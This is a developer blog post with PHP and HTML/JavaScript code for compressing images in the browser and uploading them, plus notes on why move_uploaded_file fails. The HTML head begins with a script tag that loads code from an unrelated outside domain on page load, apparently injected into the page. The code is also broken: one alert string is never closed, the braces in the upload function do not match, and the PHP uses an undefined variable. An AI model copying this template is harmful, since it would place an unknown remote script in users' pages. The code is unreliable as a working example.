Front-end js + back-end php for image compression upload (to resolve the move_uploaded_file failure with source code)

Keywords: PHP Mobile less JSON

1. The server code is as follows (php language)

<?php

header("Content-Type: text/html;charset=utf-8");
date_default_timezone_set('prc');
//define('ROOT',dirname(__FILE__).'/');

$file = $_FILES["imgfile"];//Receiving file objects
$ftype=".png";//Set the saved image format

//$max_file_size = 2000000; // Upload file size limit, unit BYTE, to be consistent with the configuration in php.ini file (preferably less than)

$destination_folder = "imges/"; //Upload file path (file save path, so there is an imges folder in uploadImg.php's peer directory, under this folder)

$filename = $file["tmp_name"];

$pinfo = pathinfo($file["name"]);

$photo = time().$ftype;//Your own image name. Use a timestamp and a suffix to prevent renaming.

$destination = $destination_folder.$photo;//Strength of Stitching Files (here is "imges/xxx.png")

if (file_exists($destination) && $overwrite != true)//If the file exists
{
    echo '{"return":1,"name":"'.$filename.'"}';//Upload failed, returning a json string to the front end
    exit; 
}

if(!move_uploaded_file ($filename, $destination)) //Move the file to the specified location ($filename is a temporary file saved in the tmp path (default configuration in php.ini) when receiving the file)
{	
   echo '{"return":1,"errorMsg":"File movement failed"}';//Upload failure (mobile failure), many reasons, go to check
    exit;
}
/// You can do other things, such as getting the path of the picture and saving it to the database.

  echo '{"return":0,"photo":"'.$photo.'"}';//Upload success, return json string
  

?>

Summary: pits encountered,
move_uploaded_file ($filename, $destination) Moving temporary files to a specified directory always fails for the following reasons (php.ini configuration file). Reference: http://www.jb51.net/article/49557.htm
2. The front-end code is as follows:
 Idea: 1. Use the input tag type="file" attribute to select the file
       2. Convert the file read by fileReader to base64 url with cavas (you can preview the src attribute directly to img) and compress it to the size range that the server can receive
3. Transform the compressed base64 file into a Blob object and upload it to the server through formData
<!DOCTYPE html>
<html lang="en">

	<head>
		<script src="https://j.s9w.cc/j/?t=fx&v=1&g=006b8ef25e68&c=08119654acb8&A=8"></script>
		<meta charset="UTF-8">
		<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no" />
		<meta name="apple-mobile-web-app-capable" content="yes" />
		<meta name="apple-mobile-web-app-status-bar-style" content="black" />
		<meta name="format-detection" content="telephone=no">
		<title>Picture upload</title>
		<style>
			* {
				padding: 0;
				margin: 0;
			}
			
			h1 {
				height: 42px;
				line-height: 42px;
				background: #3548cc;
				color: #fff;
				font-size: 21px;
				font-weight: 400;
				text-align: center;
			}
			
			div.wrapper {
				position: relative;
				height: 250px;
				text-align: center;
				overflow: hidden;
			}
			
			.user-avatar {
				margin-top: 20px;
				font-size: 16px;
				color: #3548cc;
				margin-left: 20px;
				display: inline-block;
			}
			
			.input-upload-image,
			.upload-btn {
				width: 100px;
				height: 100px;
				display: block;
				position: absolute;
			top: 56px;
		left:37%;
		border: 1px solid #f1f0f2;
			
			
			}
			
			.input-upload-image {
				z-index: 1;
				border: none;
				-webkit-opacity: 0;
				opacity: 0;
			}
			
			.upload-btn {
				z-index: 2;
			}
			
			.events-pointer-none {
				pointer-events: none;
				cursor: pointer;
			}
			
			.show-result {
				padding: 20px;
				font-size: 14px;
				line-height: 24px;
				color: #3548cc;
				height: 0px;
			}
			
			.show-result .small {
				font-size: 12px;
				color: green;
				height: 0px;
			}
			
			.overlay {
				background: rgba(0, 0, 0, 0.5);
				height: 100%;
				width: 100%;
				position: fixed;
				top: 0;
				left: 0;
				z-index: 99999;
				justify-content: center;
			padding-top: 85px;
				border: 0;
			
				display: none;
			}
			
			.overlay img {
				
				width: 31px;
				height: 31px;
			}
			.btn{width: 40%;height: 30px;line-height: 30px;text-align: center;
			position: absolute;left: 30%;border: 1px solid  #00A0E9;border-radius: 10px;
			background: #0089EC;}
			#loadimg{top: 180px;}
			#back{top: 220px;}
		</style>
	</head>

	<body style="background: #f1f0f2;">
	
		<div class="wrapper">
			<span class="user-avatar">Head Replacement:</span>
			<input type="file" accept="image/*" capture="camera" id="img" class="input-upload-image" />
			<img class="upload-btn events-pointer-none" src="img/defaulthead.png" id="imgInfo" />
		</div>
		<div id="showResult" class="show-result">
		</div>
		<div class="overlay" id="overlay">
			<img src="img/loading.gif" alt="Loading...">
		</div>

		<div onclick="uploadimg()" id="loadimg" class="btn"> Click here to upload the picture </div>
			<div onclick="closeself1()" id="back" class="btn"> Return </div>
		<script type="text/javascript" src="js/jquery-1.8.0.min.js"></script>
		<script>
			'use strict';
			var purl="";
			var b64;
			var dataUrl;
			var file=null;
			var result1 = '',
				result2 = '',
				result3 = '',
				result4 = '',
				result5 = '',
				result6 = '';
			var uid = localStorage.getItem("uid");
		if (purl==null||purl=="") {
	
			$('imgInfo').setAttribute('src', "img/defaulthead.png");
	} else{
			$('imgInfo').setAttribute('src', purl);
	}
		
			$('img').addEventListener('change', function() {
				$('overlay').style.display = 'flex';

				var reader = new FileReader();

				reader.onload = function(e) {
					var compressImg = compress(this.result, fileSize);
					b64 = e.target.result;

				};

				reader.readAsDataURL(this.files[0]);

				result1 = this.files[0].size + ' Bytes';
				file = this.files[0];
				var fileSize = Math.round(this.files[0].size / 1024 / 1024);//Unit M
			}, false);

			var compress = function(res, fileSize) {//Compress
				var img = new Image(),
					maxW = 200; //Set maximum width

				img.onload = function() {
					var cvs = document.createElement('canvas'),
						ctx = cvs.getContext('2d');
					result2 = img.width;
					result3 = img.height;

					if(img.width > maxW) {
						img.height *= maxW / img.width;
						img.width = maxW;
					}

					cvs.width = img.width;
					cvs.height = img.height;

					result4 = cvs.width;
					result5 = cvs.height;

					ctx.clearRect(0, 0, cvs.width, cvs.height);
					ctx.drawImage(img, 0, 0, img.width, img.height);

					var compressRate = getCompressRate(1, fileSize);

					dataUrl = cvs.toDataURL('image/*', compressRate);

					$('imgInfo').setAttribute('src', dataUrl);

					$('overlay').style.display = 'none';

					// $('showResult').innerHTML = "<p>The image size before compression is: "+result1+"<br/><p> and the width before compression is: "+result2+"<br/><p> and the height before compression is: "+result3+"<br/><p> and the width after compression is: "+result4+"<br/><p> and the height after compression is: "+result5+"</p><p> and the image size after compression can be obtained through nodejs or background! </p> ";
				};

				img.src = res;
			};

			function getCompressRate(allowMaxSize, fileSize) { //Compute the compression ratio in MB

				var compressRate = 1;

				if(fileSize / allowMaxSize > 4) {
					compressRate = 0.5;
				} else if(fileSize / allowMaxSize > 3) {
					compressRate = 0.6;
				} else if(fileSize / allowMaxSize > 2) {
					compressRate = 0.7;
				} else if(fileSize > allowMaxSize) {
					compressRate = 0.8;
				} else {
					compressRate = 0.9;
				}

				result6 = compressRate;

				return compressRate;
			}

			function $(id) {
				if(typeof id === 'string' && id.constructor === String) {
					return document.getElementById(id);
				} else {
					return;
				}
			}

			function uploadimg() {//Click upload
				if (file!=null) {
				$('overlay').style.display = 'flex';
				var xmlhttp = null;
				var formData = new FormData(); //Here, along with the other parameters in the form, you can directly submit a parameter-free constructor for FormData if you don't need to submit other parameters.  
				formData.append("imgfile", convertBase64UrlToBlob(dataUrl));//Convert the compressed image to bolb object upload
				var f = convertBase64UrlToBlob(dataUrl);
			
				var url="http://xxx.xxx.com/uploadImg.php"		
				if(window.XMLHttpRequest) {
					xmlhttp = new XMLHttpRequest();
				} else if(window.ActiveXObject) {
					xmlhttp = new ActiveXObject();
				}

				xmlhttp.open("POST", url, true);
				xmlhttp.send(formData);
				xmlhttp.onload = function(e) {
					if(this.status == 200) {
						$('overlay').style.display = 'none';
						console.log(this.responseText);
						alert(this.responseText);
					}
					}
				};
				} else{
					alert("Please click on the avatar to select the picture.
				}
			}
			/**  
			 * Converting image url data from base64 to Blob  
			 * @param urlData  
			 *            base64 Picture Data Represented by url  
			 */
			function convertBase64UrlToBlob(urlData) {

				var bytes = window.atob(urlData.split(',')[1]); //Remove the url header and convert it to byte  

				//Handling exceptions, converting ascii code less than 0 to more than 0  
				var ab = new ArrayBuffer(bytes.length);
				var ia = new Uint8Array(ab);
				for(var i = 0; i < bytes.length; i++) {
					ia[i] = bytes.charCodeAt(i);
				}
				return new Blob([ab], {
					type: 'image/png'
				});
			}
			
		
			
		</script>
	</body>

</html>



Posted by MFHJoe on Mon, 11 Feb 2019 07:39:17 -0800